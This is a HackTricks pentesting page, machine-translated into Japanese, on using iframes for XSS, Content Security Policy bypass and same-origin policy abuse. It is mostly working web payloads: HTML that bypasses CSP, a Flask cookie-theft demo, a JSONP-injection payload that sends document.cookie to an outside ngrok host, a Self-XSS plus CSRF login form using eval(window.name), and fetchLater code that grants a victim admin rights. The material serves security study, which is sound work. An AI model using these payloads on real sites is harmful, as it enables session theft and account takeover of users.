Iframes in XSS, CSP and SOP

Reading time: 12 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Iframes in XSS

iframedページのコンテンツを示す方法は3つあります：

  • srcを介してURLを示す（URLはクロスオリジンまたは同一オリジンである可能性があります）
  • data:プロトコルを使用してコンテンツを示すsrcを介して
  • コンテンツを示すsrcdocを介して

親と子の変数へのアクセス

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

前のHTMLにHTTPサーバー（例えばpython3 -m http.server）を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょう（CSPがそれを防いでいないため）。親は任意のiframe内のsecret変数にアクセスできませんが、同サイトと見なされるif2およびif3のみが元のウィンドウの秘密にアクセスできます。
if4がnullオリジンと見なされることに注意してください。

CSPを持つiframe

tip

次のバイパスでは、iframeページへのレスポンスにJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。

script-srcのself値は、data:プロトコルやsrcdoc属性を使用してJSコードの実行を許可しません。
しかし、CSPのnone値であっても、src属性にURL（完全なものまたはパスのみ）を指定したiframeの実行は許可されます。
したがって、次のようにページのCSPをバイパスすることが可能です：

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

注意してください、前のCSPはインラインスクリプトの実行のみを許可します。
しかし、if1とif2スクリプトのみが実行されますが、if1のみが親の秘密にアクセスできるようになります。

したがって、サーバーにJSファイルをアップロードし、script-src 'none'であってもiframeを介して読み込むことができればCSPをバイパスすることが可能です。これは同じサイトのJSONPエンドポイントを悪用することでも潜在的に行うことができます。

次のシナリオでテストできます。ここでは、script-src 'none'であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください：

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

その他のペイロードが発見された野生の中で

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe内のコンテンツは、sandbox属性を使用することで追加の制限を受けることがあります。デフォルトでは、この属性は適用されず、制限はありません。

使用されると、sandbox属性はいくつかの制限を課します：

  • コンテンツは、独自のソースからのものであるかのように扱われます。
  • フォームの送信を試みることはブロックされます。
  • スクリプトの実行は禁止されます。
  • 特定のAPIへのアクセスが無効になります。
  • リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
  • <embed>、<object>、<applet>、または類似のタグを介したプラグインの使用は許可されません。
  • コンテンツ自体によるトップレベルのブラウジングコンテキストのナビゲーションが防止されます。
  • 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスはブロックされます。

属性の値は空のまま（sandbox=""）にして、前述のすべての制限を適用できます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

この記事で説明されているように、iframeのcredentiallessフラグは、リクエストに資格情報を送信せずにiframe内にページを読み込むために使用され、iframe内で読み込まれたページの同一オリジンポリシー（SOP）を維持します。

これにより、iframeは親ページに読み込まれた同じSOP内の別のiframeから機密情報にアクセスできます：

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • 攻撃の例: Self-XSS + CSRF

この攻撃では、攻撃者は2つのiframeを持つ悪意のあるウェブページを準備します:

  • credentiallessフラグを持つ被害者のページを読み込むiframeと、XSSをトリガーするCSRF (ユーザーのユーザー名にSelf-XSSを想像してください):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 実際にユーザーがログインしている別のiframe ( credentiallessフラグなし)。

その後、XSSからは同じSOPを持つ他のiframeにアクセスでき、例えばクッキーを盗むことができます:

javascript
alert(window.top[1].document.cookie);

fetchLater 攻撃

この記事に示されているように、API fetchLater はリクエストを後で実行するように設定することを可能にします（一定の時間後）。したがって、これは例えば、攻撃者のセッション内で被害者をログインさせ（Self-XSSを使用）、fetchLater リクエストを設定し（例えば、現在のユーザーのパスワードを変更するため）、攻撃者のセッションからログアウトするために悪用される可能性があります。その後、被害者は自分のセッションにログインし、fetchLater リクエストが実行され、被害者のパスワードが攻撃者によって設定されたものに変更されます。

このように、被害者のURLがiframe内で読み込めない場合（CSPやその他の制限のため）、攻撃者は依然として被害者のセッション内でリクエストを実行することができます。

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

SOPにおけるIframes

次のページを確認してください：

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする